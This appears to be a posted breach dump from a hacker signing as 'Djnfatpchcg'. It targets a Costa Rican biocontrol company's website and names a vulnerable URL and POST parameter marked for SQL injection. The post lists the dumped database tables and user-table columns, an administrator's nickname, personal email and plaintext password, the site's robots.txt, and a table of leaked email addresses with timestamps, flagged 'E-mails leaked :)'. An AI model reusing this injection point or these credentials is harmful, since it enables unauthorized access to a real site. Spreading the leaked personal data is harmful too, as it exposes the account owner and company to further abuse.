Auditoría #1

Dirección URL:  http://biocontrol.cr/prod_res_doc.php
POST Data: button=Buscar&a1=1&a2=1&a3=1&a4=1&a5=1&id2={inject_here}&q=1
Protection: WAF (Web Application Firewall)
Hacker/Cracker/Coder: Djnfatpchcg

Dumped Data:
databases in DBMS MySQL
[*] biocontr_main
[*] information_schema
tables of database
+-------------+
| user        |
| banip       |
| categorias  |
| cb_items    |
| correos     |
| email_fails |
| fabricantes |
| plagas      |
| pre_code    |
| preguntas   |
| prod_res    |
| productos   |
+-------------+
columns of table user
+--------+---------+
| Column | Type    |
+--------+---------+
| email  | text    |
| id     | int(11) |
| name   | text    |
| nick   | text    |
| pass   | text    |
| roll   | text    |
| secode | text    |
+--------+---------+
data confidential of table user
+----+-------+-----------------------+---------+
| id | nick  | email                 | pass    |
+----+-------+-----------------------+---------+
| 1  | Admin | cronos506@hotmail.com | bio9687 |
+----+-------+-----------------------+---------+

file \robots.txt/
http://biocontrol.cr/robots.txt
User-agent: *
Disallow: /admin
Disallow: /ajax
Disallow: /archivos
Disallow: /captcha
Disallow: /class
Disallow: /css
Disallow: /flash
Disallow: /images
Disallow: /img
Disallow: /imgs_productos
Disallow: /js
Disallow: /mod
Disallow: /pdf
Disallow: /respaldo
Disallow: /Scripts
Disallow: /SpryAssets
Disallow: /tools

E-mails leaked :)
+-----+---------------------+-----------------------+
| id  | date                | para                  |
+-----+---------------------+-----------------------+
| 1   | 2012-07-18 12:53:15 | cronos506@hotmail.com |
| 2   | 2012-09-04 11:44:12 | cronos506@hotmail.com |
| 3   | 2012-09-04 13:26:24 | cronos506@hotmail.com |
| 4   | 2012-09-06 16:21:52 | cronos506@hotmail.com |
| 5   | 2012-09-06 17:15:46 | cronos506@hotmail.com |
| 6   | 2012-09-06 17:44:46 | cronos506@hotmail.com |
| 7   | 2012-09-06 17:55:52 | cronos506@hotmail.com |
| 8   | 2012-09-06 17:55:52 | soporte@wp.cr         |
| 9   | 2012-09-06 17:56:56 | cronos506@hotmail.com |
| 10  | 2012-09-06 17:56:56 | soporte@wp.cr         |
| 11  | 2014-02-03 11:40:11 | cronos506@hotmail.com |
| 12  | 2014-02-04 11:59:49 | cronos506@hotmail.com |
| 13  | 2014-02-04 12:04:40 | cronos506@hotmail.com |
| 14  | 2014-02-04 12:10:37 | cronos506@hotmail.com |
| 15  | 2014-02-11 13:07:33 | cronos506@hotmail.com |
| 16  | 2014-04-23 11:16:02 | cronos506@hotmail.com |
| 17  | 2014-06-30 14:14:36 | cronos506@hotmail.com |
| 18  | 2014-10-21 21:45:03 | cronos506@hotmail.com |
| 19  | 2015-01-12 08:13:29 | cronos506@hotmail.com |
| 20  | 2015-03-03 17:30:50 | cronos506@hotmail.com |
| 21  | 2015-04-15 20:46:07 | cronos506@hotmail.com |
| 22  | 2015-04-28 19:03:21 | cronos506@hotmail.com |
| 23  | 2015-04-28 20:18:59 | cronos506@hotmail.com |
| 24  | 2015-06-07 22:24:45 | cronos506@hotmail.com |
| 25  | 2015-06-09 10:52:02 | cronos506@hotmail.com |
| 26  | 2015-06-18 22:23:16 | cronos506@hotmail.com |
| 27  | 2015-06-24 17:16:40 | cronos506@hotmail.com |
| 28  | 2015-07-07 16:54:39 | cronos506@hotmail.com |
| 29  | 2015-07-14 13:45:43 | cronos506@hotmail.com |
| 30  | 2015-07-23 13:06:03 | cronos506@hotmail.com |
| 31  | 2015-07-27 05:20:16 | cronos506@hotmail.com |
| 32  | 2015-07-27 13:08:24 | cronos506@hotmail.com |
| 33  | 2015-08-27 20:31:18 | cronos506@hotmail.com |
| 34  | 2015-09-10 12:45:20 | cronos506@hotmail.com |
| 35  | 2015-09-21 17:30:31 | cronos506@hotmail.com |
| 36  | 2015-10-15 08:38:43 | cronos506@hotmail.com |
| 37  | 2016-02-16 07:14:46 | cronos506@hotmail.com |
| 38  | 2016-03-05 15:57:19 | cronos506@hotmail.com |
| 39  | 2016-03-30 16:28:28 | cronos506@hotmail.com |
| 40  | 2016-03-31 06:21:00 | cronos506@hotmail.com |
| 41  | 2016-05-13 15:00:48 | cronos506@hotmail.com |
| 42  | 2016-05-17 17:34:44 | cronos506@hotmail.com |
| 43  | 2016-07-20 14:24:04 | cronos506@hotmail.com |
| 44  | 2016-12-11 07:48:26 | cronos506@hotmail.com |
| 45  | 2016-12-26 09:45:37 | cronos506@hotmail.com |
| 46  | 2017-01-10 17:15:16 | cronos506@hotmail.com |
| 47  | 2017-02-02 12:29:13 | cronos506@hotmail.com |
| 48  | 2017-04-19 09:26:45 | cronos506@hotmail.com |
| 49  | 2017-06-16 02:47:22 | cronos506@hotmail.com |
| 50  | 2017-06-19 00:26:03 | cronos506@hotmail.com |
| 51  | 2017-08-30 15:06:14 | info@biocontrol.cr    |
| 52  | 2017-08-30 15:06:14 | cronos506@hotmail.com |
| 53  | 2017-08-31 21:43:16 | info@biocontrol.cr    |
| 54  | 2017-08-31 21:43:16 | cronos506@hotmail.com |
| 55  | 2017-09-03 22:44:34 | info@biocontrol.cr    |
| 56  | 2017-09-03 22:44:34 | cronos506@hotmail.com |
| 57  | 2017-09-21 16:47:48 | info@biocontrol.cr    |
| 58  | 2017-09-21 16:47:48 | cronos506@hotmail.com |
| 59  | 2017-09-24 18:31:12 | info@biocontrol.cr    |
| 60  | 2017-09-24 18:31:12 | cronos506@hotmail.com |
| 61  | 2017-09-26 16:08:57 | info@biocontrol.cr    |
| 62  | 2017-09-26 16:08:57 | cronos506@hotmail.com |
| 63  | 2017-10-01 18:59:16 | info@biocontrol.cr    |
| 64  | 2017-10-01 18:59:16 | cronos506@hotmail.com |
| 65  | 2017-10-22 23:16:15 | info@biocontrol.cr    |
| 66  | 2017-10-22 23:16:15 | cronos506@hotmail.com |
| 67  | 2017-10-27 13:11:34 | info@biocontrol.cr    |
| 68  | 2017-10-27 13:11:34 | cronos506@hotmail.com |
| 69  | 2017-11-06 06:44:45 | info@biocontrol.cr    |
| 70  | 2017-11-06 06:44:46 | cronos506@hotmail.com |
| 71  | 2017-11-06 10:39:27 | info@biocontrol.cr    |
| 72  | 2017-11-06 10:39:27 | cronos506@hotmail.com |
| 73  | 2017-12-01 11:09:29 | info@biocontrol.cr    |
| 74  | 2017-12-01 11:09:29 | cronos506@hotmail.com |
| 75  | 2017-12-01 17:52:38 | info@biocontrol.cr    |
| 76  | 2017-12-01 17:52:38 | cronos506@hotmail.com |
| 77  | 2017-12-05 13:14:06 | info@biocontrol.cr    |
| 78  | 2017-12-05 13:14:06 | cronos506@hotmail.com |
| 79  | 2018-01-10 17:32:12 | info@biocontrol.cr    |
| 80  | 2018-01-10 17:32:12 | cronos506@hotmail.com |
| 81  | 2018-03-03 11:37:52 | info@biocontrol.cr    |
| 82  | 2018-03-03 11:37:52 | cronos506@hotmail.com |
| 83  | 2018-03-14 09:50:55 | info@biocontrol.cr    |
| 84  | 2018-03-14 09:50:55 | cronos506@hotmail.com |
| 85  | 2018-05-02 11:12:29 | info@biocontrol.cr    |
| 86  | 2018-05-02 11:12:29 | cronos506@hotmail.com |
| 87  | 2018-05-22 19:57:47 | info@biocontrol.cr    |
| 88  | 2018-05-22 19:57:47 | cronos506@hotmail.com |
| 89  | 2018-06-10 21:29:20 | info@biocontrol.cr    |
| 90  | 2018-06-10 21:29:20 | cronos506@hotmail.com |
| 91  | 2018-06-18 11:50:51 | info@biocontrol.cr    |
| 92  | 2018-06-18 11:50:51 | cronos506@hotmail.com |
| 93  | 2018-06-18 12:05:01 | info@biocontrol.cr    |
| 94  | 2018-06-18 12:05:01 | cronos506@hotmail.com |
| 95  | 2018-06-25 11:55:22 | info@biocontrol.cr    |
| 96  | 2018-06-25 11:55:22 | cronos506@hotmail.com |
| 97  | 2018-07-05 11:07:09 | info@biocontrol.cr    |
| 98  | 2018-07-05 11:07:09 | cronos506@hotmail.com |
| 99  | 2018-07-26 09:20:08 | info@biocontrol.cr    |
| 100 | 2018-07-26 09:20:08 | cronos506@hotmail.com |
| 101 | 2018-07-28 11:24:03 | info@biocontrol.cr    |
| 102 | 2018-07-28 11:24:03 | cronos506@hotmail.com |
| 103 | 2018-07-31 20:48:48 | info@biocontrol.cr    |
| 104 | 2018-07-31 20:48:48 | cronos506@hotmail.com |
| 105 | 2018-08-02 16:10:13 | info@biocontrol.cr    |
| 106 | 2018-08-02 16:10:13 | cronos506@hotmail.com |
| 107 | 2018-09-02 17:41:13 | info@biocontrol.cr    |
| 108 | 2018-09-02 17:41:13 | cronos506@hotmail.com |
| 109 | 2018-09-17 15:45:26 | info@biocontrol.cr    |
| 110 | 2018-09-17 15:45:26 | cronos506@hotmail.com |
| 111 | 2018-10-30 11:00:15 | info@biocontrol.cr    |
| 112 | 2018-10-30 11:00:15 | cronos506@hotmail.com |
| 113 | 2018-11-01 21:14:48 | info@biocontrol.cr    |
| 114 | 2018-11-01 21:14:48 | cronos506@hotmail.com |
| 115 | 2018-11-06 12:39:26 | info@biocontrol.cr    |
| 116 | 2018-11-06 12:39:26 | cronos506@hotmail.com |
| 117 | 2018-11-12 17:46:03 | info@biocontrol.cr    |
| 118 | 2018-11-12 17:46:04 | cronos506@hotmail.com |
| 119 | 2018-12-27 15:06:49 | info@biocontrol.cr    |
| 120 | 2018-12-27 15:06:49 | cronos506@hotmail.com |
| 121 | 2019-01-21 08:35:28 | info@biocontrol.cr    |
| 122 | 2019-01-21 08:35:28 | cronos506@hotmail.com |
| 123 | 2019-02-07 20:38:28 | info@biocontrol.cr    |
| 124 | 2019-02-07 20:38:28 | cronos506@hotmail.com |
| 125 | 2019-02-16 15:02:31 | info@biocontrol.cr    |
| 126 | 2019-02-16 15:02:31 | cronos506@hotmail.com |
| 127 | 2019-03-09 21:13:03 | info@biocontrol.cr    |
| 128 | 2019-03-09 21:13:03 | cronos506@hotmail.com |
| 129 | 2019-03-17 11:39:55 | info@biocontrol.cr    |
| 130 | 2019-03-17 11:39:55 | cronos506@hotmail.com |
| 131 | 2019-04-08 11:09:45 | info@biocontrol.cr    |
| 132 | 2019-04-08 11:09:45 | cronos506@hotmail.com |
| 133 | 2019-04-10 08:22:35 | info@biocontrol.cr    |
| 134 | 2019-04-10 08:22:35 | cronos506@hotmail.com |
| 135 | 2019-05-09 17:34:59 | info@biocontrol.cr    |
| 136 | 2019-05-09 17:34:59 | cronos506@hotmail.com |
| 137 | 2019-05-24 11:25:58 | info@biocontrol.cr    |
| 138 | 2019-05-24 11:25:58 | cronos506@hotmail.com |
| 139 | 2019-07-03 17:30:55 | info@biocontrol.cr    |
| 140 | 2019-07-03 17:30:55 | cronos506@hotmail.com |
| 141 | 2019-07-13 14:49:26 | info@biocontrol.cr    |
| 142 | 2019-07-13 14:49:26 | cronos506@hotmail.com |
| 143 | 2019-07-20 01:46:51 | info@biocontrol.cr    |
| 144 | 2019-07-20 01:46:51 | cronos506@hotmail.com |
| 145 | 2019-08-10 23:53:04 | info@biocontrol.cr    |
| 146 | 2019-08-10 23:53:04 | cronos506@hotmail.com |
| 147 | 2019-08-28 11:52:38 | info@biocontrol.cr    |
| 148 | 2019-08-28 11:52:38 | cronos506@hotmail.com |
| 149 | 2019-09-14 17:54:31 | info@biocontrol.cr    |
| 150 | 2019-09-14 17:54:31 | cronos506@hotmail.com |
| 151 | 2019-09-18 12:01:41 | info@biocontrol.cr    |
| 152 | 2019-09-18 12:01:41 | cronos506@hotmail.com |
| 153 | 2019-09-22 16:50:45 | info@biocontrol.cr    |
| 154 | 2019-09-22 16:50:45 | cronos506@hotmail.com |
| 155 | 2019-10-18 18:32:04 | info@biocontrol.cr    |
| 156 | 2019-10-18 18:32:04 | cronos506@hotmail.com |
| 157 | 2019-11-07 14:14:05 | info@biocontrol.cr    |
| 158 | 2019-11-07 14:14:05 | cronos506@hotmail.com |
| 159 | 2019-11-11 19:43:12 | info@biocontrol.cr    |
| 160 | 2019-11-11 19:43:12 | cronos506@hotmail.com |
| 161 | 2020-01-09 09:47:44 | info@biocontrol.cr    |
| 162 | 2020-01-09 09:47:44 | cronos506@hotmail.com |
| 163 | 2020-02-01 12:04:47 | info@biocontrol.cr    |
| 164 | 2020-02-01 12:04:47 | cronos506@hotmail.com |
| 165 | 2020-02-02 11:03:00 | info@biocontrol.cr    |
| 166 | 2020-02-02 11:03:00 | cronos506@hotmail.com |
| 167 | 2020-03-02 20:44:19 | info@biocontrol.cr    |
| 168 | 2020-03-02 20:44:19 | cronos506@hotmail.com |
+-----+---------------------+-----------------------+

By Djnfatpchcg